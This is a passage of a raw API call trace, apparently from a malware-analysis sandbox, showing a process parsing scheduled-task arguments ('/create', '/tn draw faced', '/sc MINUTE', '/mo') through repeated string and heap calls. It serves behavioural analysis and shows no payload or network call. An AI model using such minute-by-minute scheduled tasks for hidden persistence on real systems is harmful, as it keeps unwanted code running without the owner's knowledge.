Flags=0xc, Size=0x14) returned 0x27bec40a930 [0121.438] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.438] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.438] lstrlenW (lpString="|?|") returned 3 [0121.438] lstrlenW (lpString="|create|") returned 8 [0121.438] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.438] lstrlenW (lpString="create") returned 6 [0121.438] lstrlenW (lpString="create") returned 6 [0121.438] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.438] GetProcessHeap () returned 0x27bec400000 [0121.438] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403950) returned 1 [0121.438] GetProcessHeap () returned 0x27bec400000 [0121.438] RtlReAllocateHeap (Heap=0x27bec400000, Flags=0xc, Ptr=0x27bec403950, Size=0x14) returned 0x27bec403950 [0121.438] lstrlenW (lpString="create") returned 6 [0121.438] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.438] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.438] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.438] lstrlenW (lpString="|create|") returned 8 [0121.438] lstrlenW (lpString="|create|") returned 8 [0121.438] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0121.438] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.438] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.438] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.438] lstrlenW (lpString="/tn") returned 3 [0121.438] lstrlenW (lpString="-/") returned 2 [0121.438] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.438] lstrlenW (lpString="?") returned 1 [0121.438] lstrlenW (lpString="?") returned 1 [0121.438] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.439] lstrlenW (lpString="tn") returned 2 [0121.439] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.439] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.439] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.439] lstrlenW (lpString="|?|") returned 3 [0121.439] lstrlenW (lpString="|tn|") returned 4 [0121.439] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.439] lstrlenW (lpString="create") returned 6 [0121.439] lstrlenW (lpString="create") returned 6 [0121.439] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.439] lstrlenW (lpString="tn") returned 2 [0121.439] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.439] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.439] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.439] lstrlenW (lpString="|create|") returned 8 [0121.439] lstrlenW (lpString="|tn|") returned 4 [0121.439] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0121.439] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.439] lstrlenW (lpString="delete") returned 6 [0121.439] lstrlenW (lpString="delete") returned 6 [0121.439] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.439] lstrlenW (lpString="tn") returned 2 [0121.439] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.439] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|delete|") returned 8 [0121.439] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.439] lstrlenW (lpString="|delete|") returned 8 [0121.439] lstrlenW (lpString="|tn|") returned 4 [0121.439] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0121.439] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.439] lstrlenW (lpString="query") returned 5 [0121.440] lstrlenW (lpString="query") returned 5 [0121.440] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.440] lstrlenW (lpString="tn") returned 2 [0121.440] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.440] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|query|") returned 7 [0121.440] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.440] lstrlenW (lpString="|query|") returned 7 [0121.440] lstrlenW (lpString="|tn|") returned 4 [0121.440] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0121.440] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.440] lstrlenW (lpString="change") returned 6 [0121.440] lstrlenW (lpString="change") returned 6 [0121.440] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.440] lstrlenW (lpString="tn") returned 2 [0121.440] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.440] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|change|") returned 8 [0121.440] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.440] lstrlenW (lpString="|change|") returned 8 [0121.440] lstrlenW (lpString="|tn|") returned 4 [0121.440] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0121.440] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.440] lstrlenW (lpString="run") returned 3 [0121.440] lstrlenW (lpString="run") returned 3 [0121.440] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.440] lstrlenW (lpString="tn") returned 2 [0121.440] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.440] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|run|") returned 5 [0121.440] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.440] lstrlenW (lpString="|run|") returned 5 [0121.440] lstrlenW (lpString="|tn|") returned 4 [0121.441] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0121.441] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.441] lstrlenW (lpString="end") returned 3 [0121.441] lstrlenW (lpString="end") returned 3 [0121.441] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.441] lstrlenW (lpString="tn") returned 2 [0121.441] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.441] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|end|") returned 5 [0121.441] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.441] lstrlenW (lpString="|end|") returned 5 [0121.441] lstrlenW (lpString="|tn|") returned 4 [0121.441] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0121.441] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.441] lstrlenW (lpString="showsid") returned 7 [0121.441] lstrlenW (lpString="showsid") returned 7 [0121.441] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.441] GetProcessHeap () returned 0x27bec400000 [0121.441] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec403950) returned 1 [0121.441] GetProcessHeap () returned 0x27bec400000 [0121.441] RtlReAllocateHeap (Heap=0x27bec400000, Flags=0xc, Ptr=0x27bec403950, Size=0x16) returned 0x27bec403950 [0121.441] lstrlenW (lpString="tn") returned 2 [0121.441] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.441] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|showsid|") returned 9 [0121.441] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|tn|") returned 4 [0121.441] lstrlenW (lpString="|showsid|") returned 9 [0121.441] lstrlenW (lpString="|tn|") returned 4 [0121.441] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0121.441] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.441] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.441] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.441] lstrlenW (lpString="/tn") returned 3 [0121.441] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] lstrlenW (lpString="/tn") returned 3 [0121.442] GetProcessHeap () returned 0x27bec400000 [0121.442] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x8) returned 0x27bec403980 [0121.442] GetProcessHeap () returned 0x27bec400000 [0121.442] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b4e0 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] lstrlenW (lpString="draw faced") returned 10 [0121.442] lstrlenW (lpString="-/") returned 2 [0121.442] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] lstrlenW (lpString="draw faced") returned 10 [0121.442] StrChrIW (lpStart="draw faced", wMatch=0x3a) returned 0x0 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] lstrlenW (lpString="draw faced") returned 10 [0121.442] GetProcessHeap () returned 0x27bec400000 [0121.442] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x16) returned 0x27bec40aad0 [0121.442] GetProcessHeap () returned 0x27bec400000 [0121.442] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b810 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.442] lstrlenW (lpString="/sc") returned 3 [0121.442] lstrlenW (lpString="-/") returned 2 [0121.442] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.442] lstrlenW (lpString="?") returned 1 [0121.442] lstrlenW (lpString="?") returned 1 [0121.442] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.442] lstrlenW (lpString="sc") returned 2 [0121.442] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.443] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.443] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.443] lstrlenW (lpString="|?|") returned 3 [0121.443] lstrlenW (lpString="|sc|") returned 4 [0121.443] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.443] lstrlenW (lpString="create") returned 6 [0121.443] lstrlenW (lpString="create") returned 6 [0121.443] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.443] lstrlenW (lpString="sc") returned 2 [0121.443] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.443] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.443] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.443] lstrlenW (lpString="|create|") returned 8 [0121.443] lstrlenW (lpString="|sc|") returned 4 [0121.443] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0121.443] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.443] lstrlenW (lpString="delete") returned 6 [0121.443] lstrlenW (lpString="delete") returned 6 [0121.443] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.443] lstrlenW (lpString="sc") returned 2 [0121.443] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.443] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|delete|") returned 8 [0121.443] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.443] lstrlenW (lpString="|delete|") returned 8 [0121.443] lstrlenW (lpString="|sc|") returned 4 [0121.443] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0121.443] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.443] lstrlenW (lpString="query") returned 5 [0121.443] lstrlenW (lpString="query") returned 5 [0121.443] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.444] lstrlenW (lpString="sc") returned 2 [0121.444] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.444] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|query|") returned 7 [0121.444] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.444] lstrlenW (lpString="|query|") returned 7 [0121.444] lstrlenW (lpString="|sc|") returned 4 [0121.444] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0121.444] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.444] lstrlenW (lpString="change") returned 6 [0121.444] lstrlenW (lpString="change") returned 6 [0121.444] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.444] lstrlenW (lpString="sc") returned 2 [0121.444] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.444] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|change|") returned 8 [0121.444] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.444] lstrlenW (lpString="|change|") returned 8 [0121.444] lstrlenW (lpString="|sc|") returned 4 [0121.444] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0121.444] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.444] lstrlenW (lpString="run") returned 3 [0121.444] lstrlenW (lpString="run") returned 3 [0121.444] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.444] lstrlenW (lpString="sc") returned 2 [0121.444] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.444] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|run|") returned 5 [0121.444] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.444] lstrlenW (lpString="|run|") returned 5 [0121.444] lstrlenW (lpString="|sc|") returned 4 [0121.444] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] lstrlenW (lpString="end") returned 3 [0121.445] lstrlenW (lpString="end") returned 3 [0121.445] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.445] lstrlenW (lpString="sc") returned 2 [0121.445] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.445] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|end|") returned 5 [0121.445] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.445] lstrlenW (lpString="|end|") returned 5 [0121.445] lstrlenW (lpString="|sc|") returned 4 [0121.445] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] lstrlenW (lpString="showsid") returned 7 [0121.445] lstrlenW (lpString="showsid") returned 7 [0121.445] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.445] lstrlenW (lpString="sc") returned 2 [0121.445] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.445] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|showsid|") returned 9 [0121.445] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|sc|") returned 4 [0121.445] lstrlenW (lpString="|showsid|") returned 9 [0121.445] lstrlenW (lpString="|sc|") returned 4 [0121.445] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] lstrlenW (lpString="/sc") returned 3 [0121.445] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.445] lstrlenW (lpString="/sc") returned 3 [0121.445] GetProcessHeap () returned 0x27bec400000 [0121.446] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x8) returned 0x27bec4039a0 [0121.446] GetProcessHeap () returned 0x27bec400000 [0121.446] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b7e0 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] lstrlenW (lpString="MINUTE") returned 6 [0121.446] lstrlenW (lpString="-/") returned 2 [0121.446] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] lstrlenW (lpString="MINUTE") returned 6 [0121.446] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] lstrlenW (lpString="MINUTE") returned 6 [0121.446] GetProcessHeap () returned 0x27bec400000 [0121.446] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xe) returned 0x27bec40abb0 [0121.446] GetProcessHeap () returned 0x27bec400000 [0121.446] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40ba80 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.446] lstrlenW (lpString="/mo") returned 3 [0121.446] lstrlenW (lpString="-/") returned 2 [0121.446] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.446] lstrlenW (lpString="?") returned 1 [0121.446] lstrlenW (lpString="?") returned 1 [0121.446] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.446] lstrlenW (lpString="mo") returned 2 [0121.446] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.446] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|?|") returned 3 [0121.446] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.446] lstrlenW (lpString="|?|") returned 3 [0121.446] lstrlenW (lpString="|mo|") returned 4 [0121.447] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.447] lstrlenW (lpString="create") returned 6 [0121.447] lstrlenW (lpString="create") returned 6 [0121.447] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.447] lstrlenW (lpString="mo") returned 2 [0121.447] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.447] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|create|") returned 8 [0121.447] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.447] lstrlenW (lpString="|create|") returned 8 [0121.447] lstrlenW (lpString="|mo|") returned 4 [0121.447] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0121.447] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.447] lstrlenW (lpString="delete") returned 6 [0121.447] lstrlenW (lpString="delete") returned 6 [0121.447] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.447] lstrlenW (lpString="mo") returned 2 [0121.447] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.447] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|delete|") returned 8 [0121.447] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.447] lstrlenW (lpString="|delete|") returned 8 [0121.447] lstrlenW (lpString="|mo|") returned 4 [0121.447] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0121.447] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.447] lstrlenW (lpString="query") returned 5 [0121.447] lstrlenW (lpString="query") returned 5 [0121.447] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.447] lstrlenW (lpString="mo") returned 2 [0121.447] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.447] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|query|") returned 7 [0121.448] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.448] lstrlenW (lpString="|query|") returned 7 [0121.448] lstrlenW (lpString="|mo|") returned 4 [0121.448] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0121.448] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.448] lstrlenW (lpString="change") returned 6 [0121.448] lstrlenW (lpString="change") returned 6 [0121.448] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.448] lstrlenW (lpString="mo") returned 2 [0121.448] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.448] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|change|") returned 8 [0121.448] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.448] lstrlenW (lpString="|change|") returned 8 [0121.448] lstrlenW (lpString="|mo|") returned 4 [0121.448] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0121.448] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.448] lstrlenW (lpString="run") returned 3 [0121.448] lstrlenW (lpString="run") returned 3 [0121.448] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.448] lstrlenW (lpString="mo") returned 2 [0121.448] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.448] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|run|") returned 5 [0121.448] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.448] lstrlenW (lpString="|run|") returned 5 [0121.448] lstrlenW (lpString="|mo|") returned 4 [0121.448] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0121.448] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.448] lstrlenW (lpString="end") returned 3 [0121.448] lstrlenW (lpString="end") returned 3 [0121.448] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.448] lstrlenW (lpString="mo") returned 2 [0121.449] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.449] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|end|") returned 5 [0121.449] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.449] lstrlenW (lpString="|end|") returned 5 [0121.449] lstrlenW (lpString="|mo|") returned 4 [0121.449] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0121.449] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.449] lstrlenW (lpString="showsid") returned 7 [0121.449] lstrlenW (lpString="showsid") returned 7 [0121.449] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.449] lstrlenW (lpString="mo") returned 2 [0121.449] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.449] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|showsid|") returned 9 [0121.449] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527f668 | out: _Buffer="|mo|") returned 4 [0121.449] lstrlenW (lpString="|showsid|") returned 9 [0121.449] lstrlenW (lpString="|mo|") returned 4 [0121.449] StrStrIW (lpFirst="|showsid|", 